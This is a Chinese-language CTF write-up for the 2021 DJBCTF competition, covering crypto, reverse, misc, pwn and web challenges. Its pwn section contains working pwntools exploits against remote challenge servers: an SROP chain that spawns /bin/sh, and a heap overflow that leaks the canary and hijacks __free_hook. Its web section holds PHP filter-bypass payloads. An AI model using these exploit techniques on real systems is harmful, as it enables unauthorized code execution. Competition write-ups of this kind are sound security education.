• 2021 DJBCTF(大吉大利杯) wp


    实在是很忙,忙着赶项目,没来得及参加这个比赛,只能抽空做一下,断断续续做,然后写好wp又因为太忙忘记发出来。。。。
    这次比赛的题挺不错的,难度适中(狸题除外,真的狸谱,有时间研究一下阿狸师傅的题,题目很新颖),部分题目后期再补上
    在此感谢出题的各位大师傅!!!

    Crypto

    easysignin

    from Crypto.Util.number import getPrime, isPrime, bytes_to_long
    from random import getrandbits
    from secret import flag
    
    def genpq(k):
        while True:
            p = getPrime((k + 3) // 4)
            q = getPrime((k + 3) // 4)
            if ((p ** 2) * (q ** 2)).bit_length() == k:
                return (p, q)
    
    def genseq(t, k):
    	x = getrandbits(k)
    	y = getrandbits(k)
    	r = []
    	r += [pow(x * getrandbits(k)+y, pow(getrandbits(k), t - 1, t), t)]
    	for i in range(len(flag)):
    		r += [pow(x * r[i] +y, pow(getrandbits(k), t - 1, t), t)]
    	return r
    
    (p, q) = genpq(2021)
    e = getPrime(0x0123)
    r = [genseq(p, p.bit_length() // 4), genseq(q, q.bit_length() // 4), genseq(e, e.bit_length() // 4)]
    c = pow(bytes_to_long(flag), e, 2021 * p * q)
    
    out = open('output.txt','w')
    out.write(str(r) + "\n")
    out.write(str(c) + "\n")
    out.close()
    

    程序自定义写了getpq函数,然后弄了一大堆东西,最后就是rsa加密,genseq函数中的t为素数,直接费马小定理化简为1,后面三次调用这个函数,r和p,q,e均存在关系,LCG攻击

    因为之前研究过La大佬的LCG攻击,用脚本即可解出p,q,e

    from functools import reduce
    from math import gcd
    from gmpy2 import *
    from Crypto.Util.number import *
    
    def egcd(a, b):
        if a == 0:
            return (b, 0, 1)
        else:
            g, y, x = egcd(b % a, a)
            return (g, x - (b // a) * y, y)
    
    def modinv(a, m):
        g, x, y = egcd(a, m)
        if g != 1:
            raise Exception('modular inverse does not exist')
        else:
            return x % m
    
    def crack_unknown_increment(states, modulus, multiplier):
        increment = (states[1] - states[0]*multiplier) % modulus
        return modulus, multiplier, increment
    
    def crack_unknown_multiplier(states, modulus):
        multiplier = (states[2] - states[1]) * modinv(states[1] - states[0], modulus) % modulus
        return crack_unknown_increment(states, modulus, multiplier)
    
    def crack_unknown_modulus(states):
        diffs = [s1 - s0 for s0, s1 in zip(states, states[1:])]
        zeroes = [t2*t0 - t1*t1 for t0, t1, t2 in zip(diffs, diffs[1:], diffs[2:])]
        modulus = abs(reduce(gcd, zeroes))
        return crack_unknown_multiplier(states, modulus)
    
    rp = []
    rq = []
    re = []
    xp, yp, p = crack_unknown_modulus(rp)
    xq, yq, q = crack_unknown_modulus(rq)
    xe, ye, e = crack_unknown_modulus(re)
    print(p)
    print(q)
    print(e)
    d = invert(e,(p-1)*(q-1))
    m = pow(c,d,p*q)
    print(long_to_bytes(m))
    

    luckybase

    不会,待研究~~

    大佬们帮我看看我这个Python脚本为什么运行不了啊

    fROM CRYPTO.utIL.NuMBER IMPORT BYteS_TO_LoNG, long_TO_BYTES
    
    A_Fake_FLaG = B'FLag{I_AM_the_TRUE_Flag_trUST_me}'
    nuMBER = bYTEs_tO_long(a_FAKE_FLAG)
    
    KeY1 = B'DO yOU WAnT A DAJIBEI?'
    KEY1 = Bytes_to_lONG(KEY1)
    
    KEY2 = 0XBCD2deE7E7114B5C856F8DAECeD0782BD891200B4D8264D854A13D53cF1F0c481b
    iv = 10800
    KEY3 = KeY2 * IV
    
    IS_THIS_rEAL_FlAG = (NUmber + kEY3) // KEy1
    print(long_tO_bytes(IS_THis_REAl_flag))
    

    修正大小后,运行,得到

    thrEE_means_3
    

    结果为:

    英文_means_数字
    

    flag有可能是这种结构,逐一尝试,最终试出flag

    听说

    不会,待研究~~

    eccsimiscce

    from Crypto.Util.number import getPrime, bytes_to_long, long_to_bytes
    from random import getrandbits
    from secret import flag
    
    def gen(n):
    	g = []
    	while len(g) < 2:
    		r = getrandbits(128)
    		if r < n:
    			g += [r]
    	return g[0], g[1]
    
    pt = b'\x00' * 6 + long_to_bytes(int(flag,2))
    assert len(pt) % 8 == 0
    
    o = open('output','w')
    
    n = getPrime(64) * getPrime(64)
    o.write(str(n) + '\n')
    a, b = gen(n)
    
    p = []
    E = EllipticCurve(IntegerModRing(n), [a, b^2])
    P = E((0, b))
    p += [P.xy()]
    for k in range(len(pt) // 8):
    	Q = bytes_to_long(pt[8 * k : 8 * k + 8]) * P
    	p += [Q.xy()]
    	P = Q	
    o.write(str(p))
    

    代码就是就把flag的二进制经过处理后,8个字节一组进行ECC加密,之后将得到的Q点作为下一组的P点继续加密处理,n是素数,根据在全国大学生信息安全竞赛学到的一个知识点,可以把分解为模p和模q上的两题曲线来处理,逆行解即可,解出来是01字符串,转为二维码,扫描即可获得flag(脚本忘记贴上来了。。。)

    简单密码

    不会,阿狸师傅的题,还是很狸谱~~

    单表加密

    待研究~

    pwn

    easyrop

    先检查文件保护

    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments
    

    没有开任何保护,ida分析,发现程序很短

    寄存器所有的值我们都可以控制,伪造sigframe,控制程序走向即可pwn

    from pwn import *
    
    context(arch='amd64',os='linux')
    context.log_level = "debug"
    
    pop_rax = 0x4000db
    read_addr = 0x4000dc
    buf_addr = 0x6000e0
    
    #p = process('./easyrop')
    p = remote('pwn.chall.ctf.show',28035)
    
    sigframe = SigreturnFrame()
    sigframe.rax = constants.SYS_read
    sigframe.rdi = 0
    sigframe.rsi = buf_addr
    sigframe.rdx = 0x300
    sigframe.rsp = buf_addr
    sigframe.rip = read_addr
    
    
    p.recvuntil('Welcome to DJB easyrop!\n')
    payload = b'a'*(0x40)+p64(pop_rax)+p64(15)+str(sigframe)
    p.send(payload)
    
    sigframe = SigreturnFrame()
    sigframe.rax = constants.SYS_execve
    sigframe.rdi = buf_addr+0x120
    sigframe.rsi = 0
    sigframe.rdx = 0
    sigframe.rip = read_addr
    
    payload = p64(pop_rax)+p64(15)+str(sigframe)
    payload = payload+(0x120-len(payload))*'\x00'+'/bin/sh\x00'
    p.send(payload)
    
    p.interactive()
    

    easy_note

    检查文件保护

        Arch:     amd64-64-little
        RELRO:    Partial RELRO
        Stack:    Canary found
        NX:       NX enabled
        PIE:      No PIE (0x400000)
    

    64位程序,ida分析,申请函数关键部分如下

     v1 = malloc(0x20uLL);                         // 申请内存
      src = v1;                                     // src是结构体
      v1[2] = dest;
      *((_DWORD *)src + 2) = buf;
      *(_QWORD *)src = a1;                          // 大小也写进结构体
      *((_BYTE *)src + 24) = 0;
      dest = (char *)dest + a1;
      dword_602100 -= a1;
      memcpy(dest, src, 0x20uLL);                   // 复制到dest
      qword_602120[dword_602104] = (__int64)dest;
      dest = (char *)dest + 32;
      dword_602100 -= 32;
      free(src);                                   //释放
      v2 = dword_602104++;
      dword_602180[v2] = buf;
    

    这里有个点,就是将src的大小也写进了去了,之后将src复制到dest,再释放src,同时注意到写函数

      int result; // eax
    
      if ( a1 < dword_602104 && (a1 & 0x80000000) == 0 )
        result = read(0, *(void **)(qword_602120[a1] + 16), a2);
      else
        result = puts("Chunk doesn't exist");
      return result;
    

    这里并没有对大小(a2)进行限制,如果申请小内存,然后写入大小比较大的内容,溢出,再利用打印函数,那么可以泄露canary和libc版本

    from pwn import *
    
    context(arch='amd64',os='linux')
    context.log_level = "debug"
    
    p = remote('pwn.chall.ctf.show',28099)
    #p = process('./easy_note')
    elf = ELF('./easy_note')
    libc = ELF('./libc-2.27.so')
    
    
    def add(size):
        p.recvuntil('>')
        p.sendline('1')
        p.recvuntil(':\n')
        p.sendline(str(size))
    
    def print_(index):
        p.recvuntil('>')
        p.sendline('2')
        p.recvuntil(':\n')
        p.sendline(str(index))
    
    def write_(index,size,content):
        p.recvuntil('>')
        p.sendline('3')
        p.recvuntil(':\n')
        p.sendline(str(index))
        p.recvuntil(':\n')
        p.sendline(str(size))
        p.send(content)
    
    add(0x20)
    content = 'a'*31+'A'+p64(0x50)
    write_(0,0x30,content)
    print_(0)
    p.recvuntil('A')
    p.recv(8)
    canary = u64(p.recv(8))
    print('Canary addr is:',hex(canary))
    memcpy = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
    libc_base = memcpy+0x400000
    free_hook = libc_base+libc.symbols['__free_hook']
    
    one_gadget = libc_base+0x10a41c
    write_(0,0x666,'B'*0x20+p64(0x666)+p64(canary)+p64(free_hook))
    write_(0,0x100,p64(one_gadget))
    add(0x20)
    #gdb.attach(p)
    p.interactive()
    

    Reverse

    A-Maze-Ln

    32位程序,无壳,idA分析

    找到关键函数

      memset(Dst, 0, 0x100u);
      memset(v11, 0, 0x100u);
      ((void (__cdecl *)(const char *, char))print)("Do you wanna play a game?\n", v1);
      ((void (__cdecl *)(const char *, char))print)(
        "Let's play escape game where you have to find a way out. Please enter your way:",
        v2);
      sub_401050("%s", (unsigned int)v11);          // v11为flag
      v3 = 3;
      v4 = 0;
      if ( strlen(v11) != 34 )                      // 长度34
        goto LABEL_22;
      v5 = 0;
      do
      {
        v6 = v11[v5];
        switch ( v6 )
        {
          case 'U':
            v7 = v4;
            if ( byte_404018[4 * (v3 + 8 * v4)] != 1 )
              goto LABEL_22;
            --v4;
            break;
          case 'D':
            v7 = v4;
            if ( byte_404019[4 * (v3 + 8 * v4)] != 1 )
              goto LABEL_22;
            ++v4;
            break;
          case 'L':
            v7 = v4;
            if ( byte_40401A[4 * (v3 + 8 * v4)] != 1 )
              goto LABEL_22;
            --v3;
            break;
          case 'R':
            v7 = v4;
            if ( byte_40401B[4 * (v3 + 8 * v4)] != 1 )
              goto LABEL_22;
            ++v3;
            break;
          default:
            goto LABEL_22;
        }
        ++v5;
      }
      while ( v5 < 34 );
      if ( v3 != 4 || v4 != 7 )
      {
    LABEL_22:
        print("You're stuck!\n");
        return 0;
      }
      if ( sub_401090(v7, v11) == -1 )
        return 0;
      ((void (__cdecl *)(const char *, char))print)("Escaped! You see the flag\n", a1);
      v8 = 0;
      do
      {
        Sleep(0xC8u);
        print("%c", Dst[v8++]);
      }
      while ( v8 <= 0x2C );
      return 0;
    

    很明显是迷宫问题,起点是(3,0),终点为(4,7),大小为8*8,并且数据已给出

    根据程序的判断,得出0是表示死路,1表示通路,最终推算出路径: LLDRRDLLLDRDLDDDRRULURRULURRDDDLDR

    Matara Okina

    下载候是apk文件,拖进jd分析,关键代码如下

    public class FlagActivity extends Activity {
        byte[] ans = "@lgvjocWzihodmXov[EWO".getBytes();
        public native String Check(String str);
        static {
            System.loadLibrary("Checker");
        }
        /* access modifiers changed from: protected */
        @Override // android.app.Activity
    
        public void onCreate(Bundle bundle) {
            super.onCreate(bundle);
            setContentView(R.layout.activity_flag);
            Uri data = getIntent().getData();
            TextView textView = (TextView) findViewById(R.id.result);
            String scheme = data.getScheme();
            String host = data.getHost();
            if (scheme.toLowerCase() == scheme && host.toLowerCase() == host) {
                String queryParameter = data.getQueryParameter("secret");
                if (queryParameter == null) {
                    textView.setText("NO");
                    return;
                }
                byte[] bytes = queryParameter.getBytes();
                int i = 0;
                while (i < (bytes.length + 1) / 2) {
                    int i2 = i + 1;
                    bytes[i] = (byte) (bytes[i] ^ i2);
                    int length = (bytes.length - 1) - i;
                    bytes[length] = (byte) (bytes[length] ^ i2);
                    i = i2;
                }
                if (Arrays.equals(this.ans, bytes)) {
                    textView.setText(Check(data.toString()));
                } else {
                    textView.setText("NO");
                }
            } else {
                textView.setText("NO");
            }
        }
    }
    

    就是将"@lgvjocWzihodmXov[EWO",经过算法处理,python脚本处理一下

    ans = "@lgvjocWzihodmXov[EWO"
    i=0
    flag_temp = [0]*len(ans)
    while(i<(len(ans)+1)//2):
        j = i+1
        flag_temp[i]^=j
        lens = len(ans)-1-i
        flag_temp[lens] = ord(ans[lens])^j
        flag_temp[i] = ord(ans[i])^j
        i+=1
    
    print(''.join([chr(i) for i in flag_temp]))
    

    得到:Android_scceme_is_FUN,再根据代码,schema为跳转协议,在配置文件查看内容如下

    <intent-filter>
                    <data android:scheme="sh0w" android:host="p4th" android:path="/70/1nput"/>
                    <category android:name="android.intent.category.DEFAULT"/>
                    <action android:name="android.intent.action.VIEW"/>
                    <category android:name="android.intent.category.BROWSABLE"/>
                </intent-filter>
            </activity>
    

    访问的url可知,并构造如下,即可得到flag

    <a href="sh0w://p4th/70/1nput?secret=Android_scheme_is_FUN">hjx-Ying</a>
    

    Unrealflag

    缺少环境,待更新

    anniu

    找到句柄,修改按钮控件属性即可

    warmup

    64位程序,无壳,ida分析,关键代码如下,

     if ( byte_40A0[16 * a1 + a2] == -1 )
        return 0LL;
      for ( i = 0; i <= 15; ++i )
      {
        if ( i != a2 && byte_40A0[16 * a1 + i] == byte_40A0[16 * a1 + a2] )
          return 0LL;//行不等
      }
      for ( j = 0; j <= 15; ++j )
      {
        if ( j != a1 && byte_40A0[16 * j + a2] == byte_40A0[16 * a1 + a2] )
          return 0LL;//列不等
      }
      v4 = a1 - a1 % 4;
      v3 = a2 - a2 % 4;
      for ( k = 0; k <= 3; ++k )
      {
        for ( l = 0; l <= 3; ++l )
        {
          if ( a1 != k + v4 && a2 != l + v3 && byte_40A0[16 * (k + v4) + l + v3] == byte_40A0[16 * a1 + a2] )//每一个小块不等
            return 0LL;
        }
      }
    

    长度为48

     if ( std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::length(&v7) == 48 )
      {
        for ( i = 0; i <= 47; ++i )                 // 长度48
        {
          v3 = (char *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::at(&v7, i);
          if ( (unsigned __int8)sub_11F5(*v3) ^ 1 )
            goto LABEL_9;
        }
        std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(&v8, &v7);
        sub_125E((__int64)&v8);
        std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(&v8);
        if ( !((unsigned __int8)sub_14E0() ^ 1) )//满足这个判断
        {
          v4 = std::operator<<<std::char_traits<char>>(&std::cout, "Accepted!");
          std::ostream::operator<<(v4, &std::endl<char,std::char_traits<char>>);
          v5 = std::operator<<<std::char_traits<char>>(&std::cout, "Flag is 'flag{' + your_input + '}'");
          std::ostream::operator<<(v5, &std::endl<char,std::char_traits<char>>);
          exit(0);
    

    挺明显的,是个数独游戏,找原始数据

    提取出来,处理数独游戏解一下,依次取值,得到

    [7, 6, 5, 12, 9, 8, 14, 7, 8, 6, 4, 4, 5, 0, 7, 11, 8, 13, 15, 11, 1, 5, 5, 2, 6, 9, 3, 14, 4, 6, 7, 8, 7, 1, 0, 2, 6, 13, 2, 6, 11, 10, 0, 3, 12, 1, 7, 5]
    

    python处理得到flag

    flag = [7, 6, 5, 12, 9, 8, 14, 7, 8, 6, 4, 4, 5, 0, 7, 11, 8, 13, 15, 11, 1, 5, 5, 2, 6, 9, 3, 14, 4, 6, 7, 8, 7, 1, 0, 2, 6, 13, 2, 6, 11, 10, 0, 3, 12, 1, 7, 5]
    for i in range(len(flag)):
        if flag[i]>9:
            flag[i] = hex(flag[i])[2:]
        else:
            flag[i] = str(flag[i])
    print("flag{"+''.join([i for i in flag])+"}")
    

    e

    32位程序,ELF文件,无壳,ida分析无果,动态调试看看

    准备找到输入的地方,进行跟踪,发现程序跑到这就死循环了

    改用attach调试正在执行的进程,并且一直往下跟,一定可以找到判断的地方,并且过程中发现几次字符的处理

    先是B(可能前面漏了几个,确实有看到J,结合赛名DJB,前面应该还有DJ)

    然后是R

    然后是E

    这些字符很有可能进行判断的,特别关注,继续往下跟,堆栈处发现

    继续,出现

    最后有

    最终就是个比较函数,输入的字符串和DDDJJJBBBRRREEE比较,这个就是flag

    misc

    十八般武艺

    下载后是压缩包,发现需要密码,注释有

    jph对18个图片处理得到18个txt文件,每个都藏有数字,在最下面,拼接后为

    1361439992231635258176397978587009639353044053720460556276610613346353724230575
    

    发现都是10进制数,提示前10种兵器是10进制,转为16进制再转文本为

    flag{CTFshow_10_
    

    后8种为8进制,转为16进制,再转文本

    bA_Ban_b1ng_Q1}
    

    拼接即为flag

    请问大吉杯的签到是在这里签吗

    下载后是二维码,但是扫后没有什么信息,010看看,发现里面似乎还有其他图片,还发现zip标志,分解看看,得到一个2图片和压缩包

    图片扫码后是说:还要往前走……是不是在这个路口转弯呢?,解压压缩包,里面也是2图片,第二张图有点东西

    最终在stegsolve发现(走了好多弯路)

    猪圈密码解密即可

    牛年大吉

    010分析,发现里面存在其他类型的文件,直接分解

    但是压缩包存在密码,根据提示:压缩包密码在图片文件头里,刚开始一直不懂什么意思,后来尝试一下文件头: 89504E47 ,这个就是密码,解压后得到flag

    简单的FM

    一直都是0解,很简单??阿狸师傅可能比较喜欢裸奔。。

    童话镇

    下载后是一个mp4文件,分解得到一个压缩包,但是存在密码,爆破得到密码为67373,得到两个txt文件,两个文件都很大,有点像机器学习的东西,不懂。。。也是阿狸师傅的题

    色图生成器

    解压后是一个txt文件和一个png图片,txt文件内容为很多颜色的单词,图片的马赛克部分很奇怪,脚本处理一下,找一下规律

    from PIL import Image
    p = Image.open('setu.png')
    i = 0
    for x in range(80,420,20):
        for y in range(50,995,5):
            color=p.getpixel((y,x))
            print(color[0],color[1],color[2])
            i+=1
            if i==10:
                break
    

    部分结构如下图

    发现马赛克部分,82,97,114转为ascii为rar,说明马赛克部分其实是一个压缩包,并且发现是RGB中其中一个值为0,写脚本将数据全部提取出来

    from PIL import Image
    p = Image.open('setu.png')
    i = 0
    for x in range(80,420,20):
        for y in range(50,995,5):
            color=p.getpixel((y,x))
            if color[0] ==0 or color[1]==0 or color[2]==0:
                z = (color[0]+color[1]+color[2])//2
                print(z,end=' ')
                i+=1
    

    010处理一下

    打开这个rar文件,里面是一张图片,010分析一下,尾部发现压缩包标志,分解,得到一个压缩包,但是有密码

    根据提示github搜索Cloakify,并用题提供的txt作为字典,跑一下得到密码

    D3arD4La0P1e45eD4iDa1Wo
    

    得到一个pyc文件,反编译一下

    from PIL import Image
    import re, hashlib, random
    flag = 'flag{jiu_bu_gao_su_ni}'
    if re.fullmatch('^flag{[A-Z][0-9a-zA-Z]{4}}$', flag):
        m = hashlib.md5()
        m.update(flag.encode('ascii'))
        m = m.hexdigest()
        col = []
        for i in range(0, 24, 2):
            tmp = int(m[i:i + 2], 16)
            tmp += random.randint(-5, 5)
            col += [tmp]
     
        img = Image.new('RGB', (1024, 512))
        for i in range(4):
            timg = Image.new('RGB', (256, 512), tuple(col[i * 3:i * 3 + 3]))
            img.paste(timg, (i * 256, 0))
     
        img.save('C:/Users/Administrator/Desktop/setu.png')
    

    这个脚本是对setu.png进行处理,但是引入了随机数,逆算法不行,直接暴力破解即可

    import re
    import hashlib
    
    list = [139, 102, 162, 24, 85, 57, 160, 37, 239, 200, 154, 30]
    for a1 in range(48,123):
        for a2 in range(48,123):
            for a3 in range(48,123):
                for a4 in range(48,123):
                    flag = 'flag{'+'D'+chr(a1)+chr(a2)+chr(a3)+chr(a4)+'}'
                    if re.fullmatch('^flag{[A-Z][0-9a-zA-Z]{4}}$', flag):
                        m = hashlib.md5()
                        m.update(flag.encode('ascii'))
                        m = m.hexdigest()
                        b = 0
                        for i in range(0,24,2):
                            tmp = int(list[b])
                            if int(m[i:i+2], 16) -tmp > -5 and int(m[i:i+2], 16)-tmp < 5:
                                b = b+1
                                continue
                            elif i==22:
                                print(flag,'Found the flag!')
                                break
                            else:
                                break
    

    拼图2.0

    拼图即可

    碑寺六十四卦

    捣鼓了一大圈,没发现什么,最后将图片反色才发现线索, stegsolve解一下最低位通道即可得到另一张图片 (放大镜放大,得到)

    对应卦图的数字为:

    5,37,26,32,8,44,11,30,53,27,39,34,51,3,52,46,18,33,46,40,7,56,40
    

    对应base64解密一下,得到flag

    AA86

    %@"%"@,~,%,!`_^[^_^]-;>`_^[^_^]%"!,^,:`_^[^_^]-@{-`{-?:`_[^_^]_-``-``-@@`_^[^_^]-`~-``-@$`_^[^_^]-``-``-@@`_^[^_^]-`~-``-@#`_^[^_^]-+~-/~-?;`_^[^_^]%!~-;-,;`_^[^_^]-"$-@~-@``_^[^_^]-{[-);-@:`_^[^_^]-/*,%`_^[^_^]`_^[^_^]`_^[^_^]`_^[^_^]%@$-@;-?;`_^[^_^]-/~-`&,#`_^[^_^]-`~-`{,*`_^[^_^]-@@-$!`_^[^_^]-:$,[,<`_^[^_^]-!|-.),!`_^[^_^]-@{-@`-/(`_^[^_^]`_^[^_^]`_^[^_^]`_^[^_^]-{!-{.,.`_^[^_^]-~/-/``_^[^_^]%""-}@$"`_^[^_^]%@@-!/,!`_^[^_^]-:*-=%`[[[[[[[[`^^^^^-%+)@@^^^!;@@++,((,.((-$+"@"+&&-,!""+,&-,!""+!&-,!""+'&-,!""++'-,!""+(&-,!""+$'-,!""+$'-,!""+@'-,!""+#'-,!""+*#-,!""+_"-,!""+_"-,!""+%'-,!""+$'-,!""+&&-,!""+-"-,!""+(#-,!""+."-,!""+*&-,!""+@'-,!""+_"-,!""+@'-,!""+%'-,!""+"&-,!""+,&-,!""+)&-,!""+#&-,!""+_"-,!""+#'-,!""+!&-,!""+#'-,!""+_"-,!""+)&-,!""+.&-,!""+$&-,!""+%&-,!""+('-,!""+."-,!""+(&-,!""+$'-,!""+-&-,!""+,&-,!""+-'-,!"(+@@,$-,!"
    

    题目提示16位系统的文件,16位dos系统的话能运行的文件比较经典的是com文件,(这学期病毒课实验课,搭了个16位虚拟机,正好用到),保存为com文件,dos系统跑一下,得到flag

    web

    veryphp

    代码审计

    <?php
    error_reporting(0);
    highlight_file(__FILE__);
    include("config.php");
    class qwq
    {
        function __wakeup(){
            die("Access Denied!");
        }
        static function oao(){
            show_source("config.php");
        }
    }
    $str = file_get_contents("php://input");
    if(preg_match('/\`|\_|\.|%|\*|\~|\^|\'|\"|\;|\(|\)|\]|g|e|l|i|\//is',$str)){
        die("I am sorry but you have to leave.");
    }else{
        extract($_POST);
    }
    if(isset($shaw_root)){
        if(preg_match('/^\-[a-e][^a-zA-Z0-8]<b>(.*)>{4}\D*?(abc.*?)p(hp)*\@R(s|r).$/', $shaw_root)&& strlen($shaw_root)===29){
            echo $hint;//我们得读到这个hint
        }else{
            echo "Almost there."."<br>";
        }
    }else{
        echo "<br>"."Input correct parameters"."<br>";
        die();
    }
    if($ans===$SecretNumber){
        echo "<br>"."Congratulations!"."<br>";
        call_user_func($my_ans);
    }
    

    首先我们得先读到hint,长度为29,并且匹配正则,比较容易

    -a9<b>xxxxxxxxx>>>>abcphp@Rsx
    

    但是shaw_root的下划线得处理为空格(+不行),绕过正则,得到hint

    md5("shaw".($SecretNumber)."root")==166b47a5cb1ca2431a0edfcef200684f && strlen($SecretNumber)===5
    

    爆破得到的SecretNumber为: 21475 ,然后就到call_user_func,调用类中函数就行了,比较简单

    shaw root=-a9<b>xxxxxxxxx>>>>abcphp@Rsx&ans=21475&my ans=qwq::oao
    

    spaceman

    <?php
    error_reporting(0);
    highlight_file(__FILE__);
    class spaceman
    {
        public $username;
        public $password;
        public function __construct($username,$password)
        {
            $this->username = $username;
            $this->password = $password;
        }
        public function __wakeup()
        {
            if($this->password==='ctfshowvip')
            {
                include("flag.php");
                echo $flag;    
            }
            else
            {
                echo 'wrong password';
            }
        }
    }
    function filter($string){
        return str_replace('ctfshowup','ctfshow',$string);
    }
    $str = file_get_contents("php://input");
    if(preg_match('/\_|\.|\]|\[/is',$str)){            
        die("I am sorry but you have to leave.");
    }else{
        extract($_POST);
    }
    $ser = filter(serialize(new spaceman($user_name,$pass_word)));
    $test = unserialize($ser);
    ?>
    

    传入的user_name和pass_word的下划线会被正则影响,空格绕过,得flag

    有手就行

    url出现file=scan,经过多次尝试,只有file=flag,才有结果,前端发现代码,base64转图片,是一个小程序

    爬楼游戏,爬547万层,就是点击547万次,直接逆向小程序,最后全局搜索flag得到flag(很有意思的一个题)

    虎山行

    不会,暂研究~~~

  • 相关阅读:
    Vue 计算属性(四)
    Vue 方法与事件(三)
    Vue 基本指令使用(二)
    Vue 项目开发环境搭建(一)
    SpringBoot 整合 Dubbo
    Nginx 中 include 指令使用
    Nginx 中 root 和 alias 的使用区别
    JS动态修改网站图标以及标题
    vue中使用轮播图插件carousel,克隆的图片点击事件无效的解决办法
    根据 url + fileName下载文件,并更改文件名
  • 原文地址:https://www.cnblogs.com/crfshadow/p/14380315.html
Copyright © 2020-2023  润新知